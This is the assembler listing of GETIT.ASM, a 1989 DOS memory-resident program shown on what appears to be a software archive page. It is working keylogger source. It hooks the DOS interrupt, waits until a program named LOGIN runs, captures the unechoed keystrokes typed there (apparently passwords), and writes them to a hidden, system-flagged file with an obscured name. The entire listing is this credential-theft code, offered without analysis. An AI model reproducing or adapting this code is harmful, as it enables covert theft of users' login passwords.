home *** CD-ROM | disk | FTP | other *** search
File List | 1989-02-16 | 13.8 KB | 267 lines |
- Turbo Assembler Version 1.0 02-16-89 17:10:37 Page 1
- GETIT.ASM
-
- 1 0000 cseg segment
- 2 assume cs:cseg,ds:cseg
- 3 org 100h
- 4 public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
- 5 public cntr,lits,begin
- 6 .RADIX 16
- 7 0100 start:
- 8 0100 0E push cs
- 9 0101 0E push cs
- 10 0102 0E push cs
- 11 0103 1F pop ds
- 12 0104 07 pop es
- 13 0105 B8 FFFE mov ax,0fffeh
- 14 0108 FA CLI
- 15 0109 17 pop ss
- 16 010A 8B E0 mov sp,ax
- 17 010C FB STI
- 18 010D E9 02C0 jmp begin
- 19 0110 ???????? oi21 dd ?
- 20 0114 0000 ac dw 0
- 21 0116 80*(????) ob dw 80h dup (?)
- 22 0216 80*(??) buff2 db 80h dup (?)
- 23 0296 63 3A 5C 74 65 73 74 + fn db 'c:\testing',0FF,'.tmp',0
- 24 69 6E 67 FF 2E 74 6D +
- 25 70 00
- 26 02A6 4C 4F 47 49 4E search1 db 'LOGIN'
- 27 02AB 00 foundf db 0
- 28 02AC 0000 fh dw 0
- 29 02AE 00 flag db 0
- 30 02AF 0000 cntr dw 0
- 31
- 32 02B1 ni21:
- 33 assume cs:cseg,ds:nothing,es:nothing
- 34
- 35 02B1 3D 4B00 cmp ax,4b00h
- 36 02B4 74 4B je exec
- 37 02B6 2E: 80 3E 02ABr FF cmp foundf,0ffh
- 38 02BC 75 0A jne nc
- 39 02BE 80 FC 08 cmp ah,8
- 40 02C1 74 43 je oc
- 41 02C3 80 FC 07 cmp ah,7
- 42 02C6 74 3E je oc
- 43
- 44
- 45 02C8 nc:
- 46 02C8 50 push ax
- 47 02C9 2E: A0 02AEr mov al,cs:flag
- 48 02CD F6 D0 not al
- 49 02CF 3C 00 cmp al,0
- 50 02D1 75 28 jne jtov
- 51 02D3 2E: A1 02AFr mov ax,cntr
- 52 02D7 40 inc ax
- 53 02D8 2E: A3 02AFr mov cntr,ax
- 54 02DC 3D 0031 cmp ax,31h
- 55 02DF 72 1A jb jtov
- 56 02E1 33 C0 xor ax,ax
- 57 02E3 2E: A3 02AFr mov cntr,ax
- 58 02E7 2E: A2 02AEr mov flag,al
- 59 02EB 58 pop ax
- Turbo Assembler Version 1.0 02-16-89 17:10:37 Page 2
- GETIT.ASM
-
- 60 02EC 9C pushf
- 61 02ED 2E: FF 1E 0110r call dword ptr [oi21]
- 62 02F2 1E push ds
- 63 02F3 0E push cs
- 64 02F4 1F pop ds
- 65 02F5 50 push ax
- 66 02F6 53 push bx
- 67 02F7 51 push cx
- 68 02F8 52 push dx
- 69 02F9 EB 78 jmp short wpwtf
- 70 02FB jtov:
- 71 02FB 58 pop ax
- 72 02FC 2E: FF 2E 0110r jmp dword ptr cs:[oi21]
- 73 0301 E8 002C exec: call scanfor
- 74 0304 EB C2 jmp nc
- 75 0306 oc:
- 76
- 77 0306 9C pushf
- 78 0307 2E: FF 1E 0110r call dword ptr cs:[oi21]
- 79 assume ds:cseg
- 80 030C 1E push ds
- 81 030D 0E push cs
- 82 030E 1F pop ds
- 83 030F 50 push ax
- 84 0310 53 push bx
- 85 0311 51 push cx
- 86 0312 52 push dx
- 87 0313 8B 1E 0114r mov bx,ac
- 88 0317 88 07 mov [bx],al
- 89 0319 43 inc bx
- 90 031A 89 1E 0114r mov [ac],bx
- 91 031E 3C 0D cmp al,0dh
- 92 0320 75 08 jne lethro
- 93 0322 C6 07 0A mov byte ptr [bx],0ah
- 94 0325 2E: F6 16 02AEr not cs:[flag]
- 95 032A lethro:
- 96 032A 5A pop dx
- 97 032B 59 pop cx
- 98 032C 5B pop bx
- 99 032D 58 pop ax
- 100 032E 1F pop ds
- 101 032F CF iret
- 102
- 103 0330 scanfor:
- 104 0330 50 push ax
- 105 0331 57 push di
- 106 0332 56 push si
- 107 0333 06 push es
- 108 0334 1E push ds
- 109 0335 0E push cs
- 110 0336 0E push cs
- 111 0337 07 pop es
- 112 0338 8B F2 mov si,dx
- 113 033A BF 0216r mov di,offset buff2
- 114 033D moveit:
- 115 033D AC lodsb
- 116 033E 24 DF and al,0dfh
- 117 0340 AA stosb
- 118 0341 0A C0 or al,al
- Turbo Assembler Version 1.0 02-16-89 17:10:37 Page 3
- GETIT.ASM
-
- 119 0343 75 F8 jnz moveit
- 120 0345 1F pop ds
- 121 0346 BF 0216r mov di,offset buff2
- 122 0349 look:
- 123 0349 57 push di
- 124 034A BE 02A6r mov si,offset search1
- 125 034D B9 0005 mov cx,5
- 126 0350 F3> A6 repe cmpsb
- 127 0352 5F pop di
- 128 0353 0B C9 or cx,cx
- 129 0355 74 10 jz foundit
- 130 0357 47 inc di
- 131 0358 80 7D 05 00 cmp byte ptr [di+5],0
- 132 035C 74 02 je not_found
- 133 035E EB E9 jmp look
- 134 0360 not_found:
- 135 0360 33 C0 xor ax,ax
- 136 0362 A2 02ABr mov foundf,al
- 137 0365 EB 06 jmp short endofsearch
- 138 0367 foundit:
- 139 0367 B8 00FF mov ax,0ffh
- 140 036A A2 02ABr mov foundf,al
- 141 036D endofsearch:
- 142 036D 1F pop ds
- 143 036E 07 pop es
- 144 036F 5E pop si
- 145 0370 5F pop di
- 146 0371 58 pop ax
- 147 0372 C3 ret
- 148
- 149
- 150 0373 wpwtf:
- 151 0373 B8 3D02 mov ax,3d02h
- 152 0376 BA 0296r mov dx,offset fn
- 153 0379 9C pushf
- 154 037A FF 1E 0110r call dword ptr [oi21]
- 155 037E 73 17 jnc exist
- 156 0380 3C 02 cmp al,2
- 157 0382 74 02 je create
- 158 0384 EB A4 jmp lethro
- 159 0386 create:
- 160 0386 B4 3C mov ah,3ch
- 161 0388 BA 0296r mov dx,offset fn
- 162 038B B9 0006 mov cx,02h+04h
- 163 038E 9C pushf
- 164 038F FF 1E 0110r call dword ptr [oi21]
- 165 0393 73 02 jnc exist
- 166 0395 EB 93 jmp lethro
- 167 0397 exist:
- 168 0397 A3 02ACr mov fh,ax
- 169 039A 8B D8 mov bx,ax
- 170 039C B8 4202 mov ax,4202h
- 171 039F 33 C9 xor cx,cx
- 172 03A1 33 D2 xor dx,dx
- 173 03A3 9C pushf
- 174 03A4 FF 1E 0110r call dword ptr[oi21]
- 175 03A8 8B 0E 0114r mov cx,[ac]
- 176 03AC BA 0116r mov dx,offset ob
- 177 03AF 2B CA sub cx,dx
- Turbo Assembler Version 1.0 02-16-89 17:10:37 Page 4
- GETIT.ASM
-
- 178 03B1 89 16 0114r mov [ac],dx
- 179 03B5 41 inc cx
- 180 03B6 8B 1E 02ACr mov bx,fh
- 181 03BA B4 40 mov ah,40h
- 182 03BC 9C pushf
- 183 03BD FF 1E 0110r call dword ptr [oi21]
- 184 03C1 B4 3E mov ah,3eh
- 185 03C3 8B 1E 02ACr mov bx,fh
- 186 03C7 9C pushf
- 187 03C8 FF 1E 0110r call dword ptr [oi21]
- 188 03CC E9 FF5B jmp lethro
- 189
- 190
- 191 03CF 90 lits db 90h
- 192 03D0 begin:
- 193 03D0 B8 0116r mov ax,offset ob
- 194 03D3 A3 0114r mov [ac],ax
- 195 03D6 B8 3521 mov ax,3521h
- 196 03D9 CD 21 int 21h
- 197 03DB BF 0110r mov di,offset oi21
- 198 03DE 89 1D mov [di],bx
- 199 03E0 8C 45 02 mov [di+2],es
- 200 03E3 BA 02B1r mov dx,offset ni21
- 201 03E6 0E push cs
- 202 03E7 1F pop ds
- 203 03E8 B8 2521 mov ax,2521h
- 204 03EB CD 21 int 21h
- 205 03ED BA 03CFr mov dx,offset lits
- 206 03F0 CD 27 int 27h
- 207 03F2 cseg ends
- 208 end start
- Turbo Assembler Version 1.0 02-16-89 17:10:37 Page 5
- Symbol Table
-
-
- Symbol Name Type Value Cref defined at #
-
- ??DATE Text "02-16-89"
- ??FILENAME Text "GETIT "
- ??TIME Text "17:10:34"
- ??VERSION Number 0100
- @CPU Text 0101H
- @CURSEG Text CSEG #1
- @FILENAME Text GETIT
- @WORDSIZE Text 2 #1
- AC Word CSEG:0114 4 #20 87 90 175 178 194
- BEGIN Near CSEG:03D0 5 18 #192
- BUFF2 Byte CSEG:0216 #22 113 121
- CNTR Word CSEG:02AF 5 #30 51 53 57
- CREATE Near CSEG:0386 4 157 #159
- ENDOFSEARCH Near CSEG:036D 137 #141
- EXEC Near CSEG:0301 36 #73
- EXIST Near CSEG:0397 4 155 165 #167
- FH Word CSEG:02AC 4 #28 168 180 185
- FLAG Byte CSEG:02AE 4 #29 47 58 94
- FN Byte CSEG:0296 4 #23 152 161
- FOUNDF Byte CSEG:02AB #27 37 136 140
- FOUNDIT Near CSEG:0367 129 #138
- JTOV Near CSEG:02FB 4 50 55 #70
- LETHRO Near CSEG:032A 4 92 #95 158 166 188
- LITS Byte CSEG:03CF 5 #191 205
- LOOK Near CSEG:0349 #122 133
- MOVEIT Near CSEG:033D #114 119
- NC Near CSEG:02C8 38 #45 74
- NI21 Near CSEG:02B1 4 #32 200
- NOT_FOUND Near CSEG:0360 132 #134
- OB Word CSEG:0116 4 #21 176 193
- OC Near CSEG:0306 4 40 42 #75
- OI21 Dword CSEG:0110 4 #19 61 72 78 154 164 174 183 187 197
- SCANFOR Near CSEG:0330 73 #103
- SEARCH1 Byte CSEG:02A6 #26 124
- START Near CSEG:0100 #7 208
- WPWTF Near CSEG:0373 4 69 #150
-
- Groups & Segments Bit Size Align Combine Class Cref defined at #
-
- CSEG 16 03F2 Para none #1 2 2 33 79
-